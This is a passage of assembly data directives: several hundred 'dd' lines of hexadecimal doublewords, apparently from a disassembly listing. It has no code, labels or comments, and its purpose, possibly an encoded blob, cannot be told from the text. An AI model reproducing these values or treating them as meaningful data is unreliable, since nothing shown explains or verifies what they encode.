1507D378h, 0EAEFBB28h, 897E72h, 0E68F5B7Ah, 0CC0E3145h dd 301A9384h, 28252B7h, 3C7E2C8Ch, 0A4810E0Ch, 59EC01C9h dd 0B773D4BCh, 86DE323h, 0F38EAB4h, 607574BCh, 0C9FD6371h dd 7B610E03h, 34C0410Fh, 4B8FA655h, 0B1674500h, 0ADE53DACh dd 26160046h, 7FF295F4h, 0A6002132h, 0CA620114h, 1897F73Eh dd 819798Dh, 4303F4E7h, 6359E2A6h, 8736F05Bh, 86500B1h dd 92AEA879h, 0A000CAD9h, 0F4B743F3h, 0E8A62047h, 4CC10153h dd 1694B041h, 8DDCF8A2h, 50C00FE8h, 4CE808F4h, 0F6A50392h dd 7BD53DD8h, 227447C8h, 0F500BFE0h, 0CF85B54h, 152C7C2Dh dd 58E9B3F4h, 20620B02h, 2B30073Eh, 0B420C031h, 0BCF6394h dd 0C073C200h, 12485A9Bh, 43020AE8h, 8054F755h, 19D6625Fh dd 20867CA4h, 6F2214Bh, 812430EDh, 0B7EC1A00h, 5EC4A459h dd 97C018D6h, 0AF172833h, 0BE013870h, 0FF7A7FF9h, 0A8DCF864h dd 23BE2F4h, 0AB50E1E9h, 42D04C96h, 9297220Ah, 0A60A9CF7h dd 215EC82Ah, 0FE87F69Ch, 42904D60h, 338593B7h, 7350AE72h dd 57040D5h, 0C13D8D4Bh, 8CC52233h, 2EA9A032h, 0A0170019h dd 54EFF2D9h, 0C301B056h, 0E4B99429h, 20BC0EFBh, 40CEED9Ch dd 0EEA0B312h, 1D00E336h, 1461936Ah, 3A8019h, 96D274C3h dd 26A9A464h, 7F1A0900h, 62289A50h, 2B63006Eh, 7872BADBh dd 0D00614Dh, 0F15199CBh, 7A65800Eh, 3A1F2EEh, 287CD1D4h dd 40001660h, 14CCCA79h, 4CB47DAEh, 0AB3A8D02h, 0C6611030h dd 5D01CCA6h, 0E7DF9329h, 0E13B3AACh, 0B79DC3Eh, 7B33Dh dd 784FC339h, 60A256F5h, 2C37F8BEh, 610B426Fh, 8C32A463h dd 0F0082Ah, 0DE192DF3h, 50076F6Dh, 376C1500h, 0E19036C4h dd 156EEAB4h, 0A0C34609h, 7AAFBC00h, 7FE3D2EBh, 508DF21Fh dd 743A2100h, 9C5907h, 816180A5h, 0BFDE4F5Fh, 705C38C0h dd 6E21BEh, 0C60A750Dh, 87DC1CAh, 126D8E03h, 0EBE61ED1h dd 37E87BC3h, 4098CB17h, 64F3CEDFh, 0A9A13C14h, 5083C4E8h dd 0F3F58400h, 0FF0EF77Bh, 20581E2Dh, 0ADF48FD9h, 0DE8B009Ah dd 44C3348Ah, 0CF005478h, 25A1BDA3h, 54CC507Dh, 24123419h dd 501CB0F4h, 862D1Fh, 44E57337h, 8F3B1C2Bh, 26644906h dd 28B819BAh, 0D3A432h, 4A6ABFE1h, 8DC90554h, 30001EF8h dd 4C0CD5DEh, 24BC404h, 0CEA50F8Ah, 4626B6h, 0EAE3940Eh dd 66B528ADh, 0D800618Ch, 671CCA8h, 0D70A24h, 0E40DEBFEh dd 5D7F1718h, 0CE811407h, 4CD0C2E0h, 5F9A4C8h, 8C384073h dd 0A8B04F2Eh, 30116Dh, 0C0784DA0h, 87011493h, 8B619F6Fh dd 0E4A8E818h, 700018D7h, 0D672344Dh, 7B64B21Fh, 64D1522Dh dd 0E33033A2h, 4920E1E8h, 0BB810FB7h, 0FE4F01E4h, 90183B04h dd 7B6084B4h, 79E6921Eh, 0C1178941h, 0F1C48BC4h, 8CAD00BEh dd 0C37653AAh, 0EAA39AD0h, 93E0E3A3h, 5C906DE1h, 0C680687Ah dd 8183E385h, 0C4838EAEh, 6A06109Eh, 2F71A890h, 0F0F028h dd 5D8756BAh, 86D576EDh, 0CB6AA30Ch, 0E3E9210Eh, 5CAF8BFCh dd 0A4812FCh, 9C85A0Eh, 9F799CA1h, 6AA84C4Dh, 61786F08h dd 0BD53C293h, 6F7B9400h, 0B16902AEh, 0F9758B63h, 0C89CE080h dd 91144F01h, 3A5CD59Dh, 680E05ACh, 5820A290h, 8918774h dd 0CB6DBD5Dh, 0EF403844h, 5FEA8763h, 0A053950Fh, 432D00E3h dd 14785685h, 0DE84FAD7h, 0E158470Ah, 23CC80F4h, 99E6964Dh dd 0D193E200h, 3A1A6748h, 24123D28h, 96B7900h, 8086F23Bh dd 0B42C8228h, 5E44AE04h, 10C0ED67h, 0CFC3969Dh, 14809F89h dd 0C2FDBB4Dh, 0A9672A00h, 0F5646261h, 0E3F8950Fh, 16EAD107h dd 78354270h, 0EDD8DC40h, 0E8C7F5h, 58562D21h, 238452D1h dd 71429000h, 99EAA339h dd 787B00B6h, 698595B7h, 0F40FECFFh, 0FE98D7h, 3BA1F943h dd 0BDF008Ah, 61C3D047h, 1E00990Eh, 9CADFA1Ah, 0CD526Ah dd 62C840C2h, 28875E6Ch, 0A81FC405h, 1088C185h, 0ED5F006Fh dd 5112A6AEh, 0D10005BBh, 0E4E34F2Fh, 0C1C7206Bh, 846CAE0h dd 69CF486h, 0E74D1879h, 0AFC60A24h, 6381E875h, 0C023BE6Ch dd 0B0B61181h, 0D0CD9ED1h, 4C1FA193h, 4D4A33CEh, 19009037h dd 3D5096Ch, 3ADC0070h, 8F1E16A8h, 4F0041D7h, 9E3B64EBh dd 77D6AF75h, 0BF870F89h, 0F560B7E2h, 28CBC7E5h, 0CE18300h dd 189B9C12h, 0C009D00Eh, 0C0482064h, 20AA7AFBh, 677C7E1Eh dd 0F4861282h, 0B0A2C3E9h, 0D551E7h, 0CAA31F16h, 0EB6A8C88h dd 8186373Ch, 4771DA5Ch, 0C6D0DF59h, 9C20C0CBh, 6AF33741h dd 2EC8A38h, 7CB12357h, 0AFDCE059h, 0AE8500F7h, 11CCE249h dd 4F01BFE7h, 3F20E5FEh, 86E93008h, 682A2086h, 58C1A90Eh dd 0AF89D374h, 20984CB0h, 0A860C49Fh, 74570650h, 0B10E675Fh dd 601481F5h, 985AE013h, 67AD3D07h, 35700920h, 0C99B6h dd 0E8C2A1C1h, 5F51033Ch, 4581301h, 0C30E2490h, 3868BCCCh dd 0EF006BDDh, 311AD6AEh, 0EC0A56F4h, 0BB73A793h, 64DA8100h dd 1741545h, 0FB7595B9h, 4892681Bh, 771FC304h, 580212BCh dd 2054A665h, 0A01E022Fh, 0D00C4AF1h, 3156A004h, 1D9202C2h dd 0B6053F37h, 0E6F32BE3h, 4DE066F0h, 18D2EC30h, 88A904C7h dd 0ED449EA4h, 1840E938h, 88EA2568h, 21841D10h, 0C508A090h dd 44944538h, 22360424h, 0E00CA2BCh, 9C8213A8h, 84A2AF10h dd 1A3C0854h, 2C0CA750h, 375124A8h, 0C305484h, 21CE42F4h dd 18B395B4h, 5900B822h, 0FB0CE818h, 853C56h, 0C37AF67Fh dd 1F2D7367h, 172B18C0h, 1634D7E3h, 0AA4C2ECh, 0B48737h dd 50265E1Fh, 0C8014178h, 0C282BA64h, 388020D9h, 0EBCC9A90h dd 95504938h, 0ABEC7EC8h, 7429C12Ch, 0FCD9D000h, 16A6B385h dd 0C6AA68h, 0C3E60F94h, 8C748BF7h, 86E5831h, 89204340h dd 3B41F07Ch, 8E001926h, 7BFC1C86h, 152A0CCEh, 3D1C4C75h dd 0F8DEB6C4h, 3B140200h, 0B2744Ah, 4E4FDC8Ch, 0C82EE6A8h dd 9BFC9700h, 0CBF8F958h, 0ACC20FAFh, 3160E0Ah, 5FF443Ch dd 0F2137CF8h, 0A8029B98h, 937F6A11h, 101C9408h, 0E0D42BEBh dd 5586DFh, 71E60699h, 85391E95h, 0A1204C02h, 0BEECCF7Eh dd 0C79703C0h, 5C70C2E6h, 0EF9E5E80h, 1F71DB0Dh, 0C0D4292Eh dd 0E1FE0045h, 570C517h, 4E010151h, 0DFAB0D1Ah, 0A0E05C36h dd 5CA35383h, 71AD1301h, 0C438B807h, 0E200F2D4h, 91329A81h dd 0ECE58EEh, 0A662539Ch, 0FE11CB80h, 61002FFBh, 33AA56B5h dd 0A3EA483Fh, 0DF44E0BCh, 0B491491Dh, 105F24h, 96EE8480h dd 0D0A89CA0h, 2D0028FBh, 2309BFFDh, 2155FD1h, 4E1E80A3h dd 5897E642h, 0D6DDE888h, 5A804C87h, 7DB12A3h, 26BD0043h dd 0F07C021Ch, 0A748EED0h, 25B10128h, 753FAD92h, 0C31109Ch dd 8A405B6Bh, 57B6A302h, 48E2DF82h, 71CB184h, 451906BEh dd 0E87B43B5h, 0D4D895DBh, 0A4248B0Ch, 59C27425h, 971D1D19h dd 0A0ED104Fh, 385EE3E7h, 0C1670650h, 0D02FAB14h, 0C232D612h dd 8CC9CC08h, 3108F1E8h, 8B4B2A01h, 0EFF9E50Fh, 65638050h dd 6F40013Eh, 0AB215C10h, 0F0AC4A9Ch, 3E07C158h, 0B901E668h dd 1AE8677Fh, 81942204h, 0DB775B1Eh, 0FD14D426h, 15AB441Ch dd 84DFDEh, 0ECABFD2Eh, 48F4D12Ah, 0F6B0E8E6h, 42003DEBh dd 0E718895Fh, 7AE3209Fh, 9CFE04BDh, 3A9666DAh, 0D1DC6E24h dd 0B9DDF405h, 8AF04E00h, 0E3C162E8h, 5574295Ah, 83594584h dd 95A18A14h, 0CEA04061h, 0C0015A5h, 43B83E2Ah, 304C76h dd 9C315438h, 0DA32815Fh, 7BF6F81Fh, 0A46D01B8h, 4C780E15h dd 0C031819Ch, 0ADC1AA20h, 0D009057Dh, 8843BB7Fh, 4808D0C5h dd 0B1C6478Bh, 0FC05E86Ah, 0D509759Bh, 15D31A4Bh, 36426264h dd 0C54C086Ch, 4A3801DCh, 9FB52F54h, 7935860h, 120E2CC9h dd 816540DAh, 0C91F816h, 6A080C5Ch, 58D8400Eh, 4F62924h dd 38B9E440h, 0B81101DCh, 5C0150E3h, 0B0FC4A99h, 20C0E3Fh dd 8C652B8Eh, 0F4934E2Ch, 73D97F0h, 42945814h, 0BA0CE080h dd 96652C2Dh, 0AF2CF428h, 20D2E821h, 2B820590h, 0BC3F26BBh dd 0BEB8774h, 70485BAh, 84A86008h, 1FE523B3h, 0A0E0D230h dd 501C1A00h, 0ABD5CB21h, 91CC030Ah, 3C44B8A8h, 4C55A7C0h dd 65C620F9h, 80F1DE3Eh, 5D464753h, 0F2E0D023h, 74C076Ah dd 77C45A5Ch, 0F270A372h, 380050C3h, 133F7345h, 426539h dd 3C8393F5h, 482E7E0Dh, 0F564618h, 3AF2D8Eh, 8138CD5Ch dd 800CCE6Ch, 4040BB96h, 2C00037h, 4C12E8B8h, 940E6352h dd 600BA87Eh, 8786D982h, 0C3BB3677h, 2F3CA8B9h, 0A0BCB1ACh dd 1D035768h, 27FF480Fh, 9D966013h, 30B0E83Ch, 563831A7h dd 0C0C0C5E4h, 58432AFCh, 7CDF336Bh, 9038190h, 0E8DA0E3Ch dd 0E4E11B32h, 78E10897h, 7A1AF45Fh, 0C67E0C00h, 0E08839E3h dd 5D4D0330h, 2E8EC454h, 0C5C06900h, 4E35D348h, 807F0096h dd 44CDAE2Fh, 0F600DBE7h, 3CE9882Eh, 1CDFB6E1h, 80A4175Eh dd 0AC2848A9h, 0DE305C56h, 0B51C78B1h, 30E60E32h, 198091F7h dd 47E88E44h, 216F2803h, 0B0AB1C0Ch, 0F4DE7Ah, 7626A143h dd 0EEADA3B5h, 0F5EE200h, 0AA9A9E0Eh, 16BF061h, 556C3EE3h dd 0CC4389C0h, 9400EF3Bh, 4E2D121Dh, 2AA788h, 0DB095FF2h dd 0A99D7EFCh, 843FF800h, 0C94A8CC8h, 50680008h, 29B281F2h dd 65004DA2h, 5EF69BE5h, 797E1153h, 6D4700E0h, 0D914B1B8h dd 2149DFCh, 191C012h, 1B67C8E7h, 5BE80D60h, 35AA008Eh dd 0FDD06DC2h, 7300AF7Eh, 0E75F4E0Fh, 0CBDB19h, 25A8D770h dd 4FE1ECFFh, 0E2915E00h, 2FF33F43h, 6E070030h, 534E5A74h dd 7A00FE9Eh, 0E12EBBEBh, 0D36071h, 929A2962h, 7C90B226h dd 8AE6AB13h, 0A33D9900h, 0C50AECh, 0B91428D8h, 3207358Ch dd 3DD4F43Ch, 0C92B8FDFh, 61C34F41h, 84A61DD7h, 0E9A31CE0h dd 7E3D54FCh, 0F12E1F73h, 338B03B1h, 0D3A85686h, 0D6075A17h dd 54D9FEBAh, 80BB2320h, 7B3E00B1h, 569F8697h, 71009527h dd 0EE93008h, 0E2B6C94Dh, 7C930084h, 3A68CAB3h, 7B791662h dd 1DC54003h, 80CBB542h, 488C3841h, 7F14AAh, 0E3C3BEF6h dd 0EFBBB0A0h, 1C6B4C09h, 9B2800DEh, 193DB9h, 6FADD7BEh dd 2925C55Ch, 0E5A56C00h, 0E7058BF2h, 2DCC0096h, 20A0AEF1h dd 4A1F06DAh, 0F8C1ED31h, 55668AE1h, 0E39C87D8h, 0B320E4h dd 52F25B03h, 3F3472D5h, 0E8E80A73h, 0C4F92401h, 0C7D6DBDAh dd 208CCCh, 29F05FACh, 77EA1C51h, 27328000h, 0A7D304EEh dd 0FAAD0049h, 0E9AA4705h, 9700AF89h, 0C0AEE688h, 790489Dh dd 7FC2862Ah, 3DA8F026h, 110018E3h, 0D350AF45h, 1C1430BEh dd 40B4E506h, 0C1347D65h, 0CB03D10Fh, 0A45688ADh, 9A5BD02Bh dd 0D4CC006Dh, 13323A63h, 0CA00906Eh, 226BBAA1h, 31D354h dd 0DCC273E4h, 103FA9DAh, 8309657Ch, 46967Fh, 0F2BD01F0h dd 524D3D4Bh, 2D5E3301h, 0ECAA434Fh, 75025C82h, 0CF5D590Bh dd 8D7E606Ch, 0ABC700C8h, 1E03ECDAh, 0C070A033h, 2D0BE900h dd 0C4847C80h, 86AE005Dh, 3162C72Bh, 3F035950h, 207AD751h dd 8A54C04Dh, 668200ECh, 0FB9ACF43h, 120FD428h, 60FDE4E7h dd 57DBD594h, 6BC005Dh, 4EDC2220h, 9300A3B8h, 3E09C538h dd 9AF849h, 78116816h dd 0DF74F6CBh, 916C8506h, 480535h, 0BCB1D40Ah, 0CE9C63DBh dd 4499F600h, 68775F4Dh, 0CB39127Ch, 0A1D003F2h, 2BD80D8Fh dd 727E1D26h, 0FA293107h, 0E3B010EFh, 0FE201C66h, 0D7F90057h dd 87D406DBh, 311F4EDAh, 0B507DD35h, 0D30FD3D2h, 0FE681A00h dd 0EEED283Ch, 10410085h, 0CCD2C5AEh, 4E008E33h, 3EC83697h dd 2253039h, 0F669D13Ah, 344157DAh, 0F081C48Eh, 0D8459F02h dd 408C825Dh, 89122Ch, 1E4A788Dh, 2EF1CE13h, 2F5B730Fh dd 5CC1A0F0h, 0F4921BFh, 0E690ACAAh, 58BB1DC0h, 2400F2AEh dd 0CBDA790Ah, 8D4750h, 0F6D84443h, 8553695Bh, 8070D53Bh dd 66D93139h, 51E06Fh, 614D4A0Ah, 75676936h, 0BA90D300h dd 0CD242363h, 0E7BB003Ch, 6911A91Fh, 4003B52h, 0E093635h dd 1FA32FFh, 0A6E287DBh, 0E039A1BAh, 4900B27Bh, 45420B5Ah dd 0D18D22h, 0EFFFBB1Ch, 7B271E20h, 0C50081E0h, 8CF9C0EEh dd 9D2AB3h, 52ED387Dh, 1E5635ADh, 0C1596600h, 0DA3E92B0h dd 94F90EB7h, 77025Bh, 6B95C054h, 0D1005153h, 12074F10h dd 1FD4220h, 0DB4EC26Dh, 0FAF4F97Bh, 0A08CC0DFh, 75AE0038h dd 8B05F582h, 0CA008C25h, 6118BFA7h, 3B6BDB1h, 0ACB28EC2h dd 4EE0B482h, 2B0ECE10h, 7D255FB7h, 0BD2F12C0h, 33A75A1h dd 0CEF0D745h, 86C888D8h, 948E24Bh, 42FF0005h, 0CA63C573h dd 386A009Ah, 975943E7h, 0F9007E18h, 0C0B39D0h, 9048B3F4h dd 0C92500E1h, 63DA3FEh, 85006957h, 96AAB451h, 1297351Ah dd 0BE0912C6h, 53EDA500h, 3E6DAC5h, 0E29A919Eh, 9B902535h dd 0D0031B57h, 0B5CC6FD6h, 0FE65A187h, 3C784C4h, 3B6A1224h dd 0AA880AE0h, 0E735970h, 91CB6D00h, 15374BD2h, 5EDD0181h dd 8042A77Eh, 6623EC65h, 96C4EC00h, 0BD1FB2A8h, 160900B7h dd 5E0D4358h, 0D400975Ah, 4F07B8B0h, 9D747Eh, 57678099h dd 0FCF2755h, 4C514500h, 5A5392D8h, 483B3EC9h, 0F1BBE381h dd 70F40BECh, 5100607Ah, 4DEBE70h, 0D32512h, 9388485Bh dd 10545331h, 1D78700h, 0A0EA0E65h, 0B0ED501Ah, 0A198074Ch dd 10C3D3F1h, 17025A6Dh, 97F81600h, 6AFDE37h, 8CD02A48h dd 0F85861C4h, 70BCF7C3h, 0F3002489h, 0C1079625h, 9E94F4h dd 0E35357F1h, 85B8E6Ah, 3100F58h, 44B3A4C9h, 0C856E084h dd 177C3F98h, 0EB5B97h, 3E6079E6h, 0E0FCA28Ch, 7B7A3Bh dd 0F42275CBh, 9C40ED2h, 0FC6A9D6Fh, 0B0700E60h, 73E12958h dd 8D371E0Eh, 80AE0B7h, 2A4C723h, 8227BBCAh, 6DE0C0CEh dd 0CF0F99D9h, 0C7EB7EEFh, 49F005CCh, 38EDA7h, 0FA3DB517h dd 0EE5220D6h, 68621500h, 678A6195h, 0BE7700BFh, 1DE53E1h dd 0C57C9964h, 8778E500h, 17084902h, 0D93C00F1h, 43505F70h dd 2500BB05h, 510A1637h, 7BE98CFh, 9FEBF697h, 91C1307Fh dd 820A1C9Bh, 0C4ECFC7Ch, 0E2EA7600h, 768F71Eh, 0AA61B956h dd 930C1C9h, 2F3FE06Eh, 783F28DEh, 0DEAB7828h, 0B35F8D00h dd 0E598A7AEh, 0E87D03ADh, 0F748F54Fh, 4207A598h, 25709D0Fh dd 887C80F2h, 7B5F35Eh, 3F1F2BE9h, 0EF407E4Bh, 0E1AE7DDDh dd 602E8B30h, 0C16F36F6h, 0F1047F70h, 0B8BC99h, 89748FF7h dd 0E4737964h, 0C7587425h, 0F0C91B11h, 5B6EB780h, 0F150976Ch dd 9BB600B3h, 0F6E06703h, 0A8028F3Dh, 0D7D58680h, 0B825E032h dd 8D623F98h, 1C3BAD86h, 0E5E971A5h, 9DB5FC4Bh, 9212AA19h dd 45F9A19h, 6D2CF7E0h, 3200D97Eh, 53FDD6DFh, 0A509CFFh dd 4FBE3974h, 427341A0h, 9FE700A8h, 0E8ED3A18h, 4B3E993Eh dd 0F6853457h, 74C2BECh, 807CCF3Ch, 3DA6AC0h, 0B4B5037Ah dd 41CD1C98h, 0DB045B80h, 3E3074F8h, 0FF8119E1h, 0B686885Ah dd 0C1518A1h, 3D24A8A6h, 9D118401h, 4921B833h, 0C2F578Ah dd 77242515h, 110C3850h, 391F2186h, 46C24D10h, 6124BBB6h dd 18821035h, 0E1951921h, 24352B3Ch, 0C4A8CE5h, 6B886C71h dd 422D453Eh, 0B2AF8A18h, 0C4A7925h, 1D65847Fh, 9C0A0C4Ah dd 0C4A2965h, 8566C055h, 11257E19h, 21CB4D5Ah, 0E2DE8A4Eh dd 580A113Ch, 7F7C048Dh, 0E4D70347h, 31491160h, 99FC0318h dd 9506FAAh, 0A08897E0h, 75A63D00h, 6E58FE52h, 4A8700CAh dd 74B07719h, 2492BEEAh, 0FBF6550Ch, 988DD142h, 12EC889Eh dd 31E920ACh, 8BD70700h, 1CC3BFCFh, 0AC101ABh, 1E8E406Eh dd 2F521002h, 187C12B5h, 6A5047B2h, 886ED630h, 472C4500h dd 1CAA980Ch, 128471B9h, 0E5303h, 189D12F0h, 1CA5ECFEh dd 523B8240h, 8DEF0CF7h, 6BB1BE46h, 58124800h, 35B95F5Bh dd 94195070h, 0D233174Ah, 306406E2h, 0DF0F5967h, 2006F87Bh dd 0A957FA0h, 0D22600C4h, 91D5CA42h, 0D9DF461Eh, 352D093Ch dd 0DCDCA0C8h, 154274BDh, 1486A5B1h, 0D13B0579h, 406AAFE2h dd 7DC35034h, 0B939EB82h, 5B3B7CB5h, 57598F3Ch, 48776186h dd 0F8800946h, 8FD03165h, 0E0F641AFh, 7EDD638h, 0F430FEB8h dd 0E3E636A7h, 9249B8h, 0B47AB20Ch, 3F008899h, 3AEDD2E1h dd 71452895h, 0E0D560DFh, 17FDBCEBh, 43D750Fh, 90C9032Eh dd 0D350E185h, 3AB76841h, 0F08A8090h, 14B3BD31h, 0C80DFC23h dd 0A994650Bh, 3956C03h, 702179C8h, 321F5005h, 0C0275FECh dd 0E78330D7h, 42101717h, 0CEF44153h, 80A625EAh, 0D119BAA0h dd 0E934AD2Dh, 864A9F1h, 64FB166Ch, 0F93002F3h, 1303E24Eh dd 6CD90578h, 87CB0382h, 1EDBC09Ch, 0D33A3E7Bh, 87317C0Fh dd 0C11318B7h, 0CD84B8D2h, 22E209CEh, 58279B49h, 9F8880D5h dd 0EC3F6017h, 1862B047h, 2621C3CFh, 44F0287Ch, 0DB7C8C86h dd 4ABAD316h, 847A6843h, 0DFE0A0B1h, 0A0AA4933h, 2A35A21Dh dd 5B4A1280h, 804814CFh, 81B6EC03h, 0F11E7113h, 407078BAh dd 14B2D07Bh, 0A0494228h, 39A0B42Ch, 0D726CC80h, 0EAD5C364h dd 81BB591Fh, 0D676A700h, 0A07F5BD2h, 3A56EB80h, 0D4182248h dd 2F88E06Ah, 975DA2E0h, 194C003Ch, 82397915h, 0C3D8FC86h dd 0D1534A29h, 83EA026h, 70C8C310h, 0B33D7480h, 1CF221Bh dd 1A75A458h, 64796743h, 0AC92B894h, 8653DB39h, 0D1BEC703h dd 4AF130E8h, 0D4C5A770h, 0B1468C15h, 3DEBC130h, 0D61C1A8Eh dd 2E36BF40h, 4234E7BBh, 4848E823h, 8A24DA1Ch, 8004BC62h dd 4893879Fh, 6154A290h, 20246C38h, 0EEAE411h, 0F6B04855h dd 7B301D21h, 0BDC236Bh, 9718FEh, 0C70BA09Ch, 78EF05A3h dd 90ABEB21h, 26F78DC0h, 90C828A0h, 0E883C501h, 0E7D1BFA3h dd 6692A042h, 0D7120010h, 0EADF49A1h, 0CC1DBCDCh, 48C009D5h dd 0D1B4F852h, 8C410060h, 0ECF958D6h, 6309317Ch, 9C850A27h dd 0DB3411A8h, 0A8411217h, 58F45008h, 9F1FAABDh, 58260BDAh dd 0EFF980C0h, 0F63A3E28h, 24308060h, 9901E6B5h, 0FDF8BE50h dd 4C249814h, 3E3107D8h, 8543B27Bh, 7E448070h, 0BA5CC9AEh dd 9F484D58h, 30980BD8h, 1ABE057Ah, 413247C1h, 2006C3ECh dd 27308664h, 22B1C9D2h, 52061085h, 6FB7E331h, 0C0BFCE8h dd 5F9ED31Ch, 204CB310h, 2D09040h, 0A393F80Ch, 0E7086894h dd 1864F1EDh, 5919FC3Fh, 0BD00F4E2h, 90C16F3Dh, 9550CC48h dd 94451518h, 51EC6888h, 605D5701h, 29B24BBAh, 7620E878h dd 56BE77Ah, 0FD4C7390h, 17D04099h, 28F03909h, 0DD0A9C1Fh dd 0A0C5CD49h, 0A7B4423Ch, 91FF31CBh, 60A97C11h, 8A4A0FEh dd 84488F46h, 0F0D424h, 947A5EC2h, 0DCE85483h, 0F7B0700Ah dd 4B80BC6Eh, 0CE56E052h dd 31720EBDh, 1E40ADC9h, 7EDDA8F5h, 8354633Ch, 0B073D86Dh dd 28A7C436h, 7D5D4500h, 0B137F699h, 96002678h, 0C16D3EB4h dd 0B5708h, 0DD85CFD6h, 0D147E7A8h, 0C6CEAE18h, 9F8E28h dd 403EB642h, 32759162h, 0E63397Fh, 0A04D0F38h, 0E01BD58h dd 673B5C16h, 0BB734580h, 0AF18EE48h, 18492505h, 1E2F01C4h dd 63A6B703h, 0F461F0DFh, 4C3FBC7Eh, 90C29D6Ch, 53F62680h dd 7E04D685h, 0C8061F73h, 3805180Ch, 1B306695h, 0E3452897h dd 22AA03DFh, 5A7062B0h, 9EC4510Eh, 69448067h, 37DBE21Bh dd 0C011025Eh, 0E4B46258h, 895DBD05h, 30230F45h, 54B1E676h dd 7148C5h, 0DB4DF086h, 0F4C76544h, 0B4388B00h, 8F76B1A6h dd 779E33CFh, 0C900639h, 52074C92h, 623485A4h, 5473FB1h dd 12F91F0h, 0FC8CF613h, 50690F6Ch, 0BE27D790h, 7FECE200h dd 95BFC137h, 88060744h, 0B0295B83h, 0B1C8C4CAh, 30E1A1C1h dd 2080D00Ch, 0FD7D74E5h, 8D50BEABh, 0F80A4A8Ch, 94A67613h dd 0BC049694h, 0C0673075h, 6C235A48h, 0C7B8AE00h, 761A1EA6h dd 7F2E00D3h, 2D1D4519h, 980028AFh, 0F7C4A2CAh, 998725h dd 0E0F875D5h, 0B28BD772h, 0C84DFD00h, 59097D93h, 0B0F7015Bh dd 9E0AE7ADh, 0FBE140BCh, 9305C97Eh, 0AA4BF07Fh, 323D13C1h dd 25A7CCCh, 0D3E7DC1Eh, 860B2A7h, 0C0016346h, 0BB180CF4h dd 45E01EDFh, 9B9E00C5h, 2C0176B2h, 0CF00E011h, 0AAB5031Ah dd 0E2BE2135h, 7AE200C5h, 9AE133FBh, 0ACF662ABh, 0C111D300h dd 0D66FC7C8h, 6C1B0414h, 0C29D9057h, 1AE0354Ch, 23007A3Ch dd 0FE3CF91h, 0C3D459h, 2147A356h, 0B14169D6h, 312E61E4h dd 96034D03h, 0C83B9394h, 7FC66D6Eh, 5D4B00B3h, 0E7428FC1h dd 517BF10Eh, 6F614617h, 5AF5A002h, 3AAA40C8h, 52AE00E4h dd 4735E0EBh, 4C00EA27h, 0CA0E63Eh, 0D9433Ch, 0A1301138h dd 0C16CDAC3h, 0D4007A73h, 0ABB04258h, 1C5C486h, 0E45230AEh dd 801B3421h, 8F110139h, 0FAA16BAh, 0A6E206FFh, 11C55BC7h dd 0F8B5CE73h, 4B00DD53h, 55F15D27h, 0D057C2h, 3D62D498h dd 0C7FF757Eh, 3B484B03h, 0A88F77BAh, 216871h, 15BD404Eh dd 8A8D195Eh, 5BCBFC00h, 3026F39Fh, 0AD853A3Ah, 0FE327D00h dd 0E798A759h, 82A91A00h, 0A00621F3h, 6AF1011Fh, 0ADC68E9h dd 0A55BF481h, 0DFC72818h, 0FAFA35C0h, 527F01D0h, 67102B71h dd 667DCCD9h, 830098E4h, 0B69C13EEh, 3EA198Fh, 590B182Bh dd 0CAE8526Dh, 2A00602Fh, 853E826Bh, 0EA323090h, 0FCDA1E6Ch dd 0A0C5C3BEh, 47A866F5h, 7001B3E8h, 125DF8E0h, 99D8C83Dh dd 8ED0006Eh, 813CF2C1h, 0CE00EA5Ah, 56D4F5D9h, 31F1E6h dd 85C2122h, 2B2E4841h, 0B436DC00h, 0C6C7DBCEh, 1E0105ADh dd 0C0F37225h, 3519912Eh, 0ECA893Bh, 0C1E4A7DCh, 15D334F6h dd 600DF03Bh, 0D5EB6800h, 6E45B833h, 10676F7Ah, 1080C8E7h dd 5C3CC49Bh, 2711FCA0h, 3A173007h, 45D08FB3h, 0E41BE8CAh dd 0B1D63AF4h, 0EA2B7280h, 42A47EE0h, 0EFD93Ah, 0A317AE7Ch dd 4304F7h, 23A78B22h, 0B381A234h, 0DC24900h, 0FB48215Fh dd 0A4CA00C6h, 0E105F38Ah, 0DF0E5287h, 0F09490h, 984F2ECh dd 58173888h, 70F392h, 3CA30D0Ch, 0B000A53Ah, 9543F772h dd 3B49F8A4h, 51002D50h, 9121A77h, 0FB006361h, 0EC6E96BFh dd 73C0B14h, 95602C21h, 2513A039h, 0E10070DFh, 483722E6h dd 0EC17D38Dh, 0FE1B0024h, 0A90B7243h, 0F200C626h, 0C7AFB6FAh dd 8771BAh, 4BFC59C2h, 0FF1D5F41h, 56DCAA00h, 0CFA08A13h dd 169F006Ah, 0DD1E8370h, 4F07D4ABh, 3B265AA5h, 7CCE5330h dd 0C8B6A0F6h, 0A665009Eh, 6FA3E4C3h, 33BC680h, 0E7A8504Eh dd 0A020A500h, 9577BB7Bh, 77F57h, 7DA27C74h, 39D818C9h dd 0F8513F00h, 0A6A9E6DCh, 34B700C8h, 0D9C9BFC3h, 4D00D8A7h dd 78A04FE2h, 24895B58h, 80F18Bh, 69FD6D14h, 36001D87h dd 0BF011BE4h, 3A95C61Fh, 4D9E31FAh, 0EF68C0E7h, 41054EA0h dd 720097F6h, 1A11D9ABh, 0FD855Eh, 245CC456h, 15D546DDh dd 770630FFh, 55813300h, 9BB469BAh, 10903Bh, 25ACAE58h dd 0E0083151h, 97006BF8h, 0F883656Ch, 0E0FD073Bh, 300F006Dh dd 852E33B3h, 0E300DA8Bh, 0EB3A7FAAh, 7D4161Bh, 5E14BDE0h dd 6FF7505Ah, 0B3007E0Bh, 0E9DC3FA6h, 7D8BBFh, 567A92CCh dd 0F597906Dh, 70FFEA00h, 7131265Ch, 355B3981h, 0EE22B20Fh dd 0ED33AC80h, 0E5004240h, 0C20DB84Bh, 1BA3F01Ah, 10BD6039h dd 0AC717A00h, 7EF5D1CEh, 95783FEFh, 8EE63B00h, 74BEF8A1h dd 2518D61Fh, 0E987F280h, 1EBB15Eh, 0C4656083h, 0DC5975E5h dd 9900508Dh, 5D71E1E7h, 9A72A36h, 0C6157D1h, 16580100h dd 25009CC1h, 598BF2A9h, 780E4F45h, 976D0067h, 0CCB9E34Ah dd 0CEE4AB8Ah, 3CE70B2Ch, 1373002h, 0B8CC6163h, 169420h dd 8759D893h, 2AE4ECA5h, 0AAF06C71h, 24D94807h, 89605411h dd 357FBA0h, 3DDF28B2h, 1F883595h, 77EF89Ah, 0C45D9726h dd 9283D500h, 1EBF754h, 0E2D3822Bh, 0F4F1B2A5h, 9B3FA262h dd 3394244Eh, 30C07300h, 7BCFFC33h, 0EDE10051h, 0EAE96E8Eh dd 6500C11Ch, 58826FC3h, 0FD2219h, 